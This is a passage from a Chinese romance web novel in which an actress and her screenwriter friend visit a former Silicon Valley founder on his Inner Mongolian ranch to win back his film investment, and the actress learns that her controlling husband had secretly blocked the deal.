等走近了,那女人将帽檐往上抬了抬,冲他笑了一下:“秦先生,你好。”【魔蝎小说 mo xie xs .c om】 30-40 第31章 第31章“对。她在我这。”(后…… 黄书韵没说她们大老远来找秦毅是为了什么。秦毅也没问,只过来帮她把行李箱拎进后备箱里。然后走到应真面前,朝她伸出手。 应真愣了一下,反应过来,忙道:“不用。我的背包很轻,等会放在座位上就行。” 秦毅没再勉强,为她们打开车后座的门。应真跟着黄书韵一起上了车。 秦毅手搭在方向盘上,转过头看着她们俩:“你们坐早上的飞机来的?还没吃午饭吧?” 黄书韵趁机道:“可不,天不亮就出发,到了锡市马不停蹄地打了辆车直接到你这了。来的路上有一截那个炮弹路,我跟应真俩都快颠散架了。秦毅,冲着我们这们俩这诚意,投资的事你再考虑考虑吧。” “屁股还没坐稳,就张口问我要钱。上学的时候也没见你这么拼。”秦毅忍不住揶揄她,又扫了眼一旁的应真,“光渊不是打算投资你们吗?你们没接受?” 应真感觉自己似乎应该说点什么,于是她点点头:“我们不打算接受光渊的投资了。还是更希望你来当我们的投资人。” 她的声音一如记忆中的清澈干净。秦毅抬手摸了摸耳朵,没再说什么,只道:“走,我先带你们去吃饭。” 应真对秦毅的第一印象,他似乎跟这个地方融为一体了。无论肤色,还是举手投足的气质,就像是个地道的牧民,根本让人猜不到一年前他还是硅谷一家科技公司的老板。 只有当他开口说话时,才感受到他和这个地方存在某种反差。 这让她对他的经历不由产生好奇,是什么让他放弃美国的公司,跑到这边开农场的? 和黄书韵对草原生活有很多浪漫想象不同,应真在草原上拍过戏,知道要在这经营一家农场并不是什么轻松悠闲的事。 一路上黄书韵都在他们上学时的趣事,秦毅读书早,小学又跳了一级,上高中时是班上最小的,比黄书韵小两岁。其实高中时,他们俩只同学了一年。高二文理分科,黄书韵进了文科尖子班,秦毅进了理科尖子班。 虽然只同学了一年,但黄书韵对他印象很深刻:“男孩子晚熟嘛,那时候我们班女生都把他当成小弟弟。他学习好,在学校简直是老师的宝贝疙瘩,经常被各科老师带回家吃饭。” 其实当年学校老师对秦毅爱护有加,有一半原因是他母亲很早就去世了,他父亲在他们学校担任数学老师,痴迷于钻研学问。单身男人带着个儿子,父子俩日子过得实在让人看不下去。 不过这些都是很久远的事情了。黄书韵自然不会说那么多,只挑些好玩的事说。 “我那是少年老成!”秦毅现在可不觉得被女人当成“小弟弟”是什么好事,当着应真的面,和黄书韵开始互相揭短模式,“书韵以前在学校可是名人,因为会写文章出尽风头,高中就赚了不少稿费。我那时候就觉得她以后会成为一名作家。” 黄书韵活到四十岁,最怕听到的两个字就是“作家”。那两字份量太重,偶尔在外头听人把她和那两字联系起来,她都有种抬不起头的感觉。 “别别别,我可从来没想过当作家。我高中的时候一直说的是我想当名导演。” 结果稀里糊涂被文学系录取,阴差阳错地当起了编剧。黄书韵感叹这年头学文学的穷,当编剧这么多年也没攒几个钱。反倒秦毅一头扎进计算机,赶上好时代,现在财富自由了,直接来大草原躺平。 秦毅含笑听到最后,说了句:“你来了就知道,在草原上根本没法躺平。” 应真有些羡慕地听他们聊高中生活。她没有念过高中。中考她考得还不错,远超重点高中分数线,但家里希望她去念师范,她也觉得当个小学老师不错,就去了。 在师范的三年,就像是生活在女儿国里,整体氛围是轻松愉悦的。她因为中途被剧组挑中去拍戏了,耽误了一学期的课。再回到学校时,和同学之间渐渐有了隔阂。 偶尔回白泉老家,看到昔日同学大都升上高中。那种闷着头专心学习的状态,是应真很羡慕的,起码他们有个目标。不像她,在拍了戏后,对自己未来做什么产生了动摇。 一路人,基本上是黄书韵在跟秦毅聊天。应真在一旁安静地听着。秦毅从后视镜里看了她几眼,她的样子和他记忆中有些许不同,面庞不像年轻时那么饱满,笑起来眼角有淡淡的纹路,一双眼睛倒是一如往昔般澄澈。 秦毅很喜欢她说话的声音,可惜这一路她总共没有开口说几句话。 …… 车子开进秦毅的农场,黄书韵才知道“大草原没法躺平”是什么意思。严格来说,他的农场不是农场,而是一处牧场。秦毅在他的牧场养了牛羊、骆驼和马,活多得干不完,他请了三个当地的牧民在他的牧场帮忙。 这是秦毅第一次在自己的牧场接待朋友。在离开北市的那一刻,他以为自己那个心血来潮之举,以及由此引发的一系列后续都结束了。他没想到她们俩竟然追到他的牧场来了。 看到她们俩坐在他平时经常坐的那张墨绿色的沙发上。原本宽敞的毡房因为多了两个人,也显得有些局促,秦毅有种不真实的感觉。 在草原过惯了单人汉的生活,他吃穿住都很随意,他自己早已经适应了毡房并不方便甚至有点艰苦的生活条件。刚才把车子停在毡房门口的时候,掀帘进来的那一刻,他突然开始担心她们嫌弃他这里条件太差。毕竟这里跟她们平时生活的大都市条件相差实在太远了。 幸好她们进来后,没有任何异样,只是好奇地打量着他的毡房。黄书韵站起来,四处转了转,“你这麻雀虽小,五脏俱全啊。” 应真一眼就看到他搁在床头的几本书,有点眼熟,好像在宁君昊的书房里也看到过。恍然想起来,先前余姐发到群里的资料,秦毅好像也在Q大上过学,跟宁君昊还是一个学院的。 突然有客人要招待,秦毅有点手忙脚乱。不过还是想起来给她们一人先来一杯奶茶。 “等会我让人杀只羊,晚上请你们吃最地道的手把肉。午饭咱们就简单的,莜面配羊肉卤子,怎么样?” 秦毅请的工人里头,有一对牧民夫妇,其中妻子做饭手艺很好。他平日里的吃食都是那位叫其木格的大姐在做。 黄书韵一听秦毅要杀羊款待她们,连连摆手:“别这么麻烦了。我和应真定了附近的民宿。晚上我们去民宿吃好了。” 秦毅:“你们定的是不是腾格里民宿?” 黄书韵睁大眼睛看着他:“你怎么知道?” 秦毅咧嘴笑了:“这附近离得最近的就那家。不过我劝你们不要去。它家在这里名声很差,宰客不说,卫生条件也不好。” 黄书韵:“我们只是路上打了个电话给他们,说我们晚上到。现在不是旺季,房间好订。等会我们再在网上看看有没有别的民宿。” 秦毅从柜子里拿出两只未拆封的露营杯,用水冲了冲,往里头倒上热好的奶茶:“你们要是不嫌弃我这简陋,晚上可以住在我这。等会我让人来给你们换被褥。我晚上去马房睡。” 黄书韵没想到他还挺替她们省钱的,接过他递过来的奶茶,客气道:“我们一来就鸠占鹊巢,让你去睡马房,那多不好意思。” 秦毅可不是这么觉得:“我的马可住得比我好多了。我特意从国外给他定制的星级马房。那儿除了是我的马房,还是我的书房。我电脑都摆在那。” 他边说边把另一杯奶茶递给应真。应真从他手里接过来,低头看到他手腕上的一道很醒目的红色疤痕,从手腕一路蜿蜒向上,那是伤口愈合后留下的痕迹。 秦毅似乎感受到她的目光,不着痕迹地将手缩回去插进口袋里。 应真倒并没往心里去。这一路,她感受到黄书韵说的,秦毅并不是那种不着调的人。而且看他放弃国外那么优渥的条件,住在草原的毡房里,安心当一个牧民,不由对他多了几分敬意。 她站在火炉旁,双手捧着奶茶喝了一口,浓郁的茶香和奶脂的香气扑鼻而来,刚才这一路的忐忑消失了,一脸真诚地对面前这个男人道:“秦先生,冒昧过来找你,已经给你添麻烦了。我们希望你能再考虑考虑投资的事。我们这趟来就待一晚上,明天下午的飞机回北市。今天晚上去民宿住一晚就行了。” “问题是我没觉得麻烦啊。”秦毅挠挠头,唇角弯了弯:“你别叫我秦先生。我叫秦毅,毅力的毅。你也可以叫我Ethan。” 午餐一切从简,秦毅把其木格大姐做的筱面蒸上,羊肉卤子放在火灶上热一热就行了。他估摸了三人的份量,结果黄书韵和应真的食量比他想的要少得多。 秦毅一个人生活,毡房里大多是折叠的简单家具,没有一张正儿八经的桌子。三个人围着一张折叠桌吃午饭。 应真和黄书韵倒没觉得什么,毕竟年轻的时候也是走南闯北的人。黄书韵是头一回吃牧民做的羊肉卤子,觉得特别香,“等会我们在网上找下视频,看看这个羊肉卤子怎么做的。回北市自己做。” 应真却知道这个卤子没那么好做,“这个要自制有点麻烦。好像要用羊尾油炒,还要加草原上的沙葱,用煮茶的砖茶水焖煮,好吃的秘诀是加了他们这牧民自制的腐乳,出锅前还要撒一把他们这的野韭菜。这些材料北市可难找了。” 秦毅听她说得头头是道,眼睛亮了,“你怎么知道?” 应真笑道:“我以前拍戏在草原上待过两个月。那两个月吃住都在牧民家,把草原上好吃的都吃尽了。” 自从拍了《孤影江湖》火了一把,后面好几个剧本都是找她演武侠片的,什么草原、牧区、沙漠、雪山,她跑遍了。她又连演了三部,都不温不火的,倒把她对环境的适应能力给练出来了。 一顿饭吃下来,大家的距离拉近了不少,围坐在火灶旁。 黄书韵趁机再次提出投资的事,“昨天你走后,光渊真的来找我们了。但是跟他们见了一面,我觉得太不对劲了。怎么感觉像是个杀猪盘啊,还非要我们用他推荐的女主角。我跟他们说了,这部电影女主角非应真莫属。我当时创作小说女主角就是以她为原型的。秦毅,你说你撤资是因为光渊打算投我们,但是我和应真,还有另外一个合伙人,我们仨都不想接受光渊的投资。要不,你还是来投资我们吧。” 应真也道:“是的。我们真的很想你来投资,你能不能再考虑一下?来之前,我们内部商量了一下,票房分红,我们愿意在先前基础上再加五个点。” 秦毅想问她,她这次来这找他,宁君昊知道吗?终究还是没问出口。 他只是淡笑着回道:“我已经考虑过了。考虑过后决定,我不能投资你们。很抱歉。” 虽然……但没必要,就挺麻烦的。那天宁君昊特意来找他,秦毅就感觉这事似乎是人家夫妻间的事。 夫妻俩闹别扭,他把手插进去,不太好。 …… 黄书韵没想到当着她们的面,秦毅拒绝得这么干脆,笑容几乎僵在了脸上。 但是没到最后一刻,她和应真都不死心。明天下午四点的飞机,算一算她们还有整整一天时间劝说他。 下午秦毅要杀羊款待她们,还邀请她们去观摩。负责杀羊的是个本地牧民大哥,身材非常魁梧,手脚却很麻利。黄书韵和应真站在旁边,真到动刀的那一刻,黄书韵还是吓得背过身去了,一只手紧紧攥着应真的胳膊。 应真在草原拍戏,见过本地牧民杀羊。那次她也像黄书韵,吓得根本不敢看。离开草原后,她其实是有些遗憾的,大概一辈子也没几次机会看别人杀羊。 这一次,她想好好看看,说不定哪天她要演个牧民呢。 牧民大哥将羊摁倒,左手抓住羊的两只前蹄固定住。用折叠的蒙古刀在羊的脖子上划了一个小口子。应真看到他将手从那个小口子里伸进去,在羊脖子上猛拽一把,那只羊便没了动静。 鲜血从羊脖子上的口子汩汩往外冒,大哥顺手拿起准备好的大碗接住羊血。 应真索性蹲下来凑近看,他动作没有丝毫犹豫,一气呵成,整个过程迅速得超乎想象。黄书韵以为自己会听到羊的惨叫,实际上并没有。 牧民大哥看到城里来的女人吓得背过身去,把眼睛捂得紧紧的,笑道:“姑娘,已经好了。这样杀羊血放得干净,羊肉一点也不会骚。” 他一开口普通话竟然很标准。黄书韵没想到自己这个年纪了,竟然还有机会被人称作“姑娘”,怪不好意思的。 杀羊对秦毅来说太司空见惯了,他甚至自己亲手宰杀过。他背着手站在一旁,应真蹲在他脚边,小小的一团,正壮着胆伸手去摸刚杀完的羊。 他一低头正好看到她头顶的发旋。 身后不远处草地上是低头吃草的羊群。这几天牧场里的工人都忙着打草,秸秆青贮,赶在初雪来临之前给羊群贴秋膘。 草原是个严厉的地方,它会惩罚一切不按照时令行事的人。她们俩的到来,将他原本的作息节奏给打乱了,可他似乎并没有任何不快的感觉。 兜里的手机响了,秦毅拿出来看了一眼,是个微信的语音通话申请。 他往旁边的小山坡走去,一边走一边随手接了起来。 那头说了句什么,他站在风口,淡淡道:“对。她在我这。” 第32章 第32章女人的第六感,有时候就…… 秦毅不喜欢撒谎。宁君昊问了,他就如实答了。 “Ethan,明天我会去你那接我太太。今天实在麻烦你了。” 虽然宁君昊努力克制,秦毅还是从他的话语里听出一丝焦躁。原来应真这次来内蒙,他并不知情。 秦毅看着不远处的应真,她还蹲在那儿,认真地跟牧民学习如何杀羊。血水从她脚下淌过,她却没有露出一丝嫌憎的表情,一如刚才她看到他手腕上的伤疤。 小时候母亲用碎瓷片在他手腕上割下的伤口,成年后成了蚯蚓般粗陋可怖的疤,在这干燥的草原秋天,时常痒得他忍不住抓挠。手腕被抓出来一道道红痕,他只能用袖子牢牢遮住,却不小心被她看了去。 手机贴在耳边,秦毅的思绪却无法集中。 “那天晚上我们之间的谈话,请你对我太太保密。我不希望她知道。”那头道。 秦毅忽然有些抵触宁君昊说话的口气。这方圆十几平方公里,都是他的私人牧场,他的私人地盘,这里不是北市。 “师兄,上次在北市我已经拒绝了她们一次。这次应真特意大老远到这来找我,我没法再拒绝她。” 风从四面八方吹过来,秦毅听到自己的声音被切割得断断续续。幸好宁君昊那边很安静,他确信他听清楚了。 有些话在北市怪不好意思说的,在草原上隔着手机好像无所谓了,他索性跟宁君昊把话挑明:“你知道的,她在我心里有不一样的份量。” 他已经看在宁君昊面子上拒绝过她了,这次是她自己过来找他的。 …… 应真蹲在地上,腿都蹲麻了。她站起来,掏出手机一看,好几通未接电话,都是宁君昊打过来的,她脑中冒出的第一念头便是:他不会知道她到内蒙来了吧? 打开微信看了一眼,果然宁君昊半小时前发了信息给她:“你明明去了锡市,为什么跟我说你去津市出差?” 应真脑壳疼,仿佛能透过手机屏幕看到他的表情,上了年纪的男人生起气来隔着手机都能把她周遭空气冻住。 鬼知道他怎么这么快发现她到锡市来了。不过既然他发现了,她索性拨了个电话过去,跟他解释一下,顺便报个平安。 这些日子,她时常感觉还是年轻的宁君昊更加可爱。对于某一件事两人无法达成一致,谁也说服不了谁,那就暂时将问题悬置,这是他们年轻时的相处方式。 十几年过去了,他们之间的相处模式完全变了,宁君昊变得愈发独断霸道,应真不能接受只是她单方面的一退再退。 打过去,语音通话显示对方正在忙。应真想到他可能在开视频会议,赶紧收了线。 不管了,他要是因此生气,那就生气好了。这次她一点也不想哄他。 应真随手将手机揣进羽绒服口袋,一抬头便看到站在不远处的秦毅。他虽然在打电话,那双眼睛却目不转睛地看着她。 猝不及防地对上他的目光,应真心里生出些许怪异的感觉。这感觉怎么说呢,很像是读师范时,她从外面拍戏回学校。路上经常有她不认识的人,一边看着她,一边凑在一起窃窃私语。 不用听,她知道他们在议论她。 女人的第六感,有时候就是这么鲁莽。 等秦毅打完电话,她走上前去,直视着他的眼睛,“你刚才在跟谁打电话?” 秦毅:“……” 应真在他印象里是个很温柔可爱的女人,他没想到她跟他一样……直接。 他愣了几秒,她那两汪清水似的眼睛看着他,仿佛能洞察人心。他脸不由自主热了起来,有些尴尬地将手机捏在手里,犹豫半天,还是没办法骗她,只能实话实说:“宁君昊打电话来,问你是不是在我这。” 应真想到刚才在他床头看到的书,若有所思地点点头:“原来你们早就认识。” 秦毅根本不敢看她的眼睛,环顾左右而言它:“也谈不上认识吧。我比他低三届,他大学快毕业了,我才刚入校。在学校知道这么号人,但并没有见过。” 她比他想象的还要聪明,秦毅真怕她再往下问,他又没办法对她撒谎。还好黄书韵过来了,她不知道发生了什么,一把揽住应真的肩,给她看自己刚才拍的视频,“看了这个,我感觉晚饭都没什么胃口了。” 秦毅赶紧提议:“好不容易来一趟,我带你们去骑马吧。” 拉不到投资,黄书韵对什么都提不起兴趣,看了他一眼:“秦毅,你真当我们是来玩的?我跟你说,你要是不同意重新投资,我们就不走了,跟你在草原上耗着。” 秦毅耸了耸肩,笑道:“我无所谓,就怕我这条件太艰苦,你们在这待不下去。” 应真也不想就这么放弃,和黄书韵交换了个眼神,抿唇笑道:“再艰苦的环境,我跟书韵都待过。你这已经很好了。有水有电有取暖的炉子,还有人管吃管住。没准我们真的赖着不走了。” 你有丈夫有女儿,怎么可能赖在我这不走? 秦毅差点脱口而出,终究还是忍住了,只微微一笑:“走,我带你们去我的马房看一看。” 他迫不及待地想向她们展示他给他的马打造的星级马房。去年冬天,他花了大价钱安装了太阳能和风力发电装置,又花了几十万给自己那匹夸特马定制了一个巨大的集装箱马房。 要知道,这一年多,他自己都睡在毡房里。 为了让马能度过零下四十度的极寒天气,他还在马房里安装了火炉。他甚至在马房里给自己隔了一间书房,方便他能随时照看马。 黄书韵和应真走进他那个造价不菲的马房,才知道他说的马比他住得好是什么意思。这移动马房实在高级,墙面和地板都是纯实木拼贴的,里面温度也很合适。看得出来秦毅花了很多心思。 两个女人对他的印象都好了几分。他那么富有,物欲很低,却对马却一掷千金。这偌大的草原,能待下来,也是件极不容易的事。 秦毅牵了一匹叫萨日娜的母马给她们骑。应真会骑马,她拍《孤影江湖》之前,曾经花了好几个月时间练习马术。后来又演了几部武侠片,马术一直没落下,飞身上马动作已经成肌肉记忆了。 萨日娜的性格本身就特别温柔,任由她骑着在草原上奔跑。应真庆幸自己实际只有二十五岁,这要是四十岁的她肯定没这么娴熟。毕竟女儿出生后,她连草原都没来过。 《孤影江湖》秦毅已经不知道自己看过多少遍了,里面有很多应真骑马在沙漠里奔跑的镜头,经典镜头他都能倒背如流了。他只是没想到这么多年过去了,应真骑马还这么娴熟。 她的腰背自然挺直,双腿很纤细,却隐藏着力道,紧紧夹住马腹,仿佛与萨日娜融为一体。每一次萨日娜的腾跃,她都能巧妙地顺应节奏,微微起身,又精准地落下,衔接得流畅自然。 草原的风太大了,把她的帽子被吹翻了,一头长发在风中肆意飞舞着。 秦毅的目光一直紧紧地追随着她,看得出来萨日娜很喜欢她,他的心一瞬间被欢喜填满。 黄书韵也看呆了,她很久没有见过这样的应真了。再次确认眼前的好友不是四十岁,而是二十五岁。只有二十五岁,才有这种满溢而出的气血和活力吧。 骑了几圈应真就回来了,秦毅的马鞍是桦木做的,胳得她屁股疼。看着黄书韵一脸渴望的样子,应真教她飞身上马的动作。 “右手抓住这个桩头,胳膊肘在这个位置卡住,然后把你另一只手搭在右手上……” 黄书韵没想到看着挺简单的,真到她要做的时候,怎么都没法像应真那样轻松上马。 最后还是应真抱着她,连滚带爬地上了马背。黄书韵小心地驾着马在草地上缓缓前行,身体随着马的步伐僵硬地颠簸着。她紧张得双手更加用力地拉扯缰绳,兴许是太用力了,萨日娜有些烦躁地甩了甩头。 黄书韵吓得整个人僵在了马背上。 应真冲她的背影喊道:“放松身体,感受马的节奏!” 黄书韵咬着嘴唇,努力调整呼吸,尝试放松自己的身体,渐渐地萨日娜开始跑了起来。 她似乎找到了一点感觉,身体不再那么僵硬了,脸上也终于露出一丝兴奋的笑容, 应真远远地看着自己的闺蜜,忽然听到身后男人说:“萨日娜很喜欢你。” 应真转过头,冲他笑了笑:“她很漂亮。她是我见过最漂亮的夸特马。” 黄书韵不在,她也不知道跟他聊什么,她其实并不是个谈笑自如的人。况且,秦毅的话其实挺少的。 “我会给你们投资。” “嗯?”应真不放心黄书韵,一直紧盯着,听到秦毅突然冒出一句话,还以为自己听错。她再次转过头看着他,眼里流露出一丝迷惑,“你刚才说什么?” 秦毅冲她微笑:“我说我会投资你们的项目。” 笑意一点点从她的唇角浸漫到眼眸里,秦毅看着她那双好看的眼睛弯了起来。 “那太好了!” 秦毅感受到她的愉悦,也变得开心起来。然而很快,她似乎想到什么,眉头一点点拢了起来。 她猝不及防地凑近,秦毅吓了一跳,强自镇定地看着她:“怎么了?” 应真那双黑白分明的眼睛没了已经笑意,双手抱臂站在他面前,淡淡道:“既然你认识我丈夫,你之前撤资,不会跟他有什么关系吧?” 第33章 第33章“是配不上我,还是配不…… 草原上有个说法:太阳一歪,风就带刀子了。 到了下午四点,应真虽然穿着羽绒服,还是感觉裸露在外的脸和手有轻易的刺痛感。 然而这刺痛感对现在的她来说,有些微不足道了,因为她整个人被一股巨大的愤怒包裹住。 电话里,宁君昊很识相地没有倒打一耙,只道:“我坐明天早上的飞机去锡市,然后去秦毅的牧场接你。” 他一副没事人的模样,应真更加窝火,语气却极淡:“你不用来。你来了,我也已经不在牧场了。” 宁君昊立刻道:“那不等明天了。我现在让小李开车过去。从北市到你那也就八个小时。” 应真眉头拧成一团:“你倒底想来干什么呢?该说的我都说了。你是不是觉得我看到你以后,就会心软,然后原谅你?” 宁君昊被她怼得难受,已经很久没人敢这么气他了。这世界上,只有电话那头的女人才能做到。 换作以前,他和应真根本吵不起来。结婚十五年的老夫老妻,彼此早没了争吵的力气。 在IPAD看到航旅APP弹出来的消息,他才知道她根本不是去津市,而是去内蒙了。去内蒙找谁,闭着眼睛也能想到。很难形容他当时的心情,他生气于一向单纯的老婆竟然说了假话,随之而来的念头是:他不想她跟秦毅有进一步的接触。 作为男人,他哪能不知道秦毅心血来潮投资这种几千万的小项目,是在想什么。 所以他第一时间打电话给秦毅。秦毅看应真去找他,态度也变了,话里话外的意思让人很不舒服。 宁君昊当然不想她知道自己私底下干了什么,但现在她已经知道了,说了很多气他的话,他胸口闷堵得难受,却依然没有多少歉意:“我收购光渊不是为了扼杀你的演艺事业,我只是想帮你过滤低端项目。现在是敏感时期,我不觉得一个几千万投资的小成本项目配得上你,需要你抛夫弃女地复出。” 应真被他气笑了:“是配不上我,还是配不上宁太太的身份?” 宁君昊想也不想:“有区别么?你就是宁太太,宁太太就是你。你实在想拍戏,我给你找好一点的项目。还有,别的投资人都行,但秦毅不行……” 应真听不下去,打断他:“我说了,我的事不需要你插手。” 秦毅站在不远处看着她的背影,他知道她正在跟宁君昊打电话。他见到过很多高智商的女人,但没有人像她这样,她的聪明跟智商没有关系。她似乎只是靠直觉在行事,然而那直觉实在敏锐得吓人。 他活了快四十岁,没跟这种类型的女人打过交道,有种在她面前无所遁形的感觉。 应真打完电话,他赶紧上前解释:“我撤资有一部分宁君昊的原因,还有一部分原因是我以为光渊会给你们更好的条件。我那时候并不知道你这么想复出,想演这个女主角。” 他那张男性气质十足的黝黑面庞上,突然出现一丝紧张和慌乱。 应真觉得自己的怒火的确不应波及到除宁君昊以外的任何人。她很快冷静下来,语气也变得温和:“秦毅,我没有怪你的意思。我只是在生我丈夫的气。无论如何,这次你愿意重新投资我们,我很感激。” * 应真和黄书韵去锡市后,余平婉去见了两个以前合作过的女性投资人。 当她拿出《结婚十年的》项目书,其中一位看了觉得很有意思,但要公司内部先评估看看。另一位虽然收下了项目书,但明确表示这两年行业不景气,正在缩减投资预算,再考虑看看,可能性不大。 在行业这么多年,余平婉心态都被淬炼出来了,心情倒未受太大影响。去地下停车场取车路上,手机响了,黄书韵打过来视频通话申请。 她的表情看上去有些微妙,“余姐,一个好消息,一个坏消息,你要听哪个?” “我年纪大了,受不了惊吓,你还是先说好消息吧。”余平婉看只有她一个人,“真真呢?” 黄书韵转过头看向一旁:“真真,你别生气了。余姐想看看你。” 那头应真不知道说了句什么,过了一会黄书韵将头转了过来,看着余姐,“好消息是,我们没有白跑一趟,秦毅同意重新投资我们了。” “那太好了!”余平婉的眉眼瞬间舒展开来,眼睛也亮了,兴奋道:“坏消息是啥?不是,现在坏消息还重要吗?” 黄书韵表情很严肃:“很重要!非常重要!余姐,你知道秦毅中途为什么反悔吗?搞半天,是真真老公干的!” “啊?”余平婉脑子懵了一下。 下一秒黄书韵的手机就被应真给夺了过去,她的头发有些乱,脸色也不大好:“余姐,对不起。因为宁君昊的关系,影响了我们项目的进度。” 余平婉坐在车里听应真把事情来龙去脉说了一遍,可能是年纪大了,奇葩事见得多了,她并没有太惊讶。 作为应真曾经的经纪人,她跟宁君昊打过交道的。那时候宁君昊三十岁的样子,已经是个很成功的游戏公司老板了。他白手起家,靠自己能力一步步打拼出来,把生意一点点做大。 不是她对生意人有什么偏见,而是她没法把应真那种温柔单纯的女孩子跟宁君昊联系在一起。可是偏偏宁君昊对应真一见钟情,狂追不已。当时他事业已经颇有成就了,能花两三个月时间,扔下公司不管,陪着应真在剧组拍戏。 一个心机深沉精于计算的男人为爱昏了头,失去理智,还是很吸引人的。何况他也足够优秀,不怪应真动心。 前几天应真说过,宁君昊不希望她复出拍戏的。以他的个性,在背后搞点小动作,余平婉似乎并不意外。 应真情绪很激动,生气道:“余姐,我没想到他现在变得这么坏!他根本不尊重我!以前我们之间即便有不同意见,他好歹还会让步一下。现在他真的只想我让步。如果我不让步,他就想方设法地搞破坏。” 余平婉是过来人,知道婚姻是怎么一点点把人的棱角磨平的。按说都结婚十几年了,也不是第一天知道自己丈夫是什么德性。 看应真这么生气,倒觉得有点奇怪,只能安慰她,“不管怎么说,投资又回来,宁君昊想破坏,也没破坏成。你找个机会跟他好好谈谈。” 应真冷哼:“男人上了年纪不仅自大还固执。跟他有什么好谈的。我刚才已经跟他打电话说了,如果他不同意我复出拍戏,就离婚!” 余平婉隔着屏幕都能感受到她的怒火,不过自家艺人自己最清楚,孩子才是应真的死穴,她叹了口气:“离婚你舍得你家女儿啊?你先冷静一下,一切回北市再说。” 应真一直没把发生在自己身上的事告诉余姐,既然都一起开公司了,她觉得还是要找个机会跟余姐说一下。 “余姐有些事我没跟你说。等回北市再告诉你。反正我真的受够那对父女了。” 应真挂了视频,将手机还给黄书韵,却发现她捂着嘴巴瞪大眼睛看着自己,“干嘛用这种眼神看我?” 黄书韵快哭了,一把攥住她的手:“真真,你知道你有多久没在别人面前这么说你老公坏话吗?!天!你现在太有活人感了!” 应真被她说得哭笑不得,不免开始思考,如果是四十岁的自己,发现宁君昊做出这么过分的事,会是如何反应呢?恐怕这么多年,困在妻子和母亲的角色里,早没力气跟他争执。 这些年,黄书韵和应真其实并不常见面,尤其她生了女儿之后。每次一见面,大多都是黄书韵在吐槽男人。应真很少谈及自己的婚姻,搞得她一直以为应真是个没有任何烦恼的豪门阔太呢。 说真的,虽然是亲闺蜜,但渐渐地黄书韵觉得跟应真之间像是隔着一层什么。毕竟大家身份和阶层上的差异越来越大。她只是个穷酸的小编剧,而应真是豪门阔太,闺蜜之间说话也不可能像以前一样无所顾忌。 可她本身是个有什么说什么的人,嘴上从来不带把门的。不能尽情地和应真吐槽男人,这些年也确实把她给憋坏了。 “要我说,男人给男人打掩护这种事,就是无师自通!如果不是你今天多了个心眼,秦毅没准还在跟宁君昊打掩护!” 黄书韵想说秦毅也不是什么好东西。那男人就掀着帘子进来了。她只能把那句骂人的话给咽进肚子里。 秦毅看了眼毡房里的两个女人,目光落在应真身上,“宁君昊说他已经出发了,从北市开车到我这大概八九个小时,他大概凌晨的时候到。” 应真这会情绪已经耗尽,眉眼尽是冷淡:“随他吧。腿长得他脚上,我还能管他去哪不成?我和黄书韵已经订好了锡市的酒店,等会就去锡市了。” 她那双眼睛平静得吓人,秦毅知道她说的并不是气话。他有些为难地搓了搓手,“你们吃了饭再走。晚上我送你们去锡市。这么远,别的司机送你们去,我不放心。” 黄书韵这会也饿了:“你羊都已经杀了,我们肯定吃完饭再走啊。” 秦毅显然是在用草原的最高礼仪接待她们。晚饭,除了烤全羊和手把肉,他还让一位叫其木格的大姐给她们做了很多好吃的,奶皮子、奶豆腐,还有血肠。 只是应真兴致不高,没吃多少肉,却喝了不少马奶酒。这酒度数跟啤酒差不多,酸酸甜甜,像带着气泡的酸奶,比奶茶还要顺口。 黄书韵也很喜欢喝,不知不觉喝了好几杯。只是她没有应真酒量好,喝到后面有些醉了。秦毅晚上要送她们去锡市,倒是滴酒未沾。 时机不对,这顿晚饭注定吃得不尽兴。秦毅开车送她们去锡市的路上,还很遗憾,“以后有机会你们一定要再来。等我的移动木屋盖好,给你们留一间房。” 坐在后座的两人女人根本没听他说什么。从那段炮弹路开始,就在唱歌。先是黄书韵开始唱,后来应真陪她一起唱。 一路唱到锡市,黄书韵还意犹未尽,“秦毅,你今天晚上别回你那个牧场了。跟我们一起在锡市玩一晚上。我和应真打算去酒吧街玩玩。” 她们俩都喝了酒,秦毅哪放心她们自个去酒吧,“你们要是想玩,我陪你们。” 黄书韵大手一挥:“今天晚上我请客。感谢你这个大金主的款待。” 应真心情不好,在一旁道:“我记得好多年前,这里的酒吧会有摔跤表演,那种地方比较有意思。” 黄书韵看不得闺蜜受气:“凭什么男人天天在外面逍遥,女人就得在家当贤妻良母啊?你就是平时对你家那位太好了,他才会一直骑在你头上!” 说到这,她拍了拍胸脯:“真真,你别生气了,生闷气不值得,今晚我给你点男模!!!” 秦毅:“……” 这地儿又不是灯红酒绿的北市,哪来的男模?自己这老同学喝了点酒,就开始彻底放飞自我了。 车子已经开进市中心了,后座两个女人你一句,我一句的。秦毅从后视镜里看了她们一眼,冷不丁对上应真那双深潭一样的眼。 应真看着他:“你可不要跟宁君昊通风报信。我不想跟他在这碰上面。” 秦毅有些尴尬:“我今晚哪也不去。帮人帮到底,送佛送到西,你们想去酒吧,我陪你们去就好了。” 他来草原一年多,也就在本地朋友的陪同下,去过几次酒吧。其中一家叫Revolution的让他印象深刻,于是从路口掉转方向直奔而去。 第34章 第34章像是在不经意间互相短暂…… 秦毅发现自己真的不懂女人。 都到酒吧门口了,黄书韵又嚷着让他等她们十五分钟,还把他赶下车。 秦毅订好座位,又出来抽了一根烟,车上两个女人终于下来了。 原来刚才十几分钟,她们坐在车里给自己化了个妆。这下两个女人杵在自己跟前,如同开了十八倍的滤镜,眉是眉,眼是眼的,扑面而来的成熟女人韵味。 黄书韵镜框后那双微醺的眼终于有了神采,应真凌乱的头发变得柔顺,就连嘴唇的颜色都变得娇艳起来。 秦毅没好意思盯着人家看,只挠头笑:“你们不用这样给我长脸吧?” 黄书韵被这男人的脑回事整乐了:“我们是给自己长面子。姐姐们难得来一次酒吧,不能丢人。” 应真在一旁抿唇笑。她以前其实也很少到酒吧玩,每一次去几乎都是跟黄书韵一起。拍戏的时候,她的作息极其规律。不拍戏时候她基本是个宅女,连门都不太爱出。闲暇的时候,她就喜欢待在家里,添置一些锅碗瓢盆,打点布置自己的房子。 黄书韵拍了拍秦毅的肩,“感谢你陪姐姐们来酒吧玩!” 可能在草原素得太久了,秦毅感觉自己都不会跟女人打交道了,憋了半天不知道说啥,最后来了句:“咱俩一届的,你别给自己涨辈分行吗?” 结果两个女人根本没听他说什么,手挽着手进了酒吧。 Revolution酒吧在锡市颇有名气,她们进来才发现里头是个巨大的蒙古包,中心区设置了一个舞台,卡座环绕在周围,有点像以前游牧民族围坐的场景。 因为空间不大,还增设了二楼观景台。 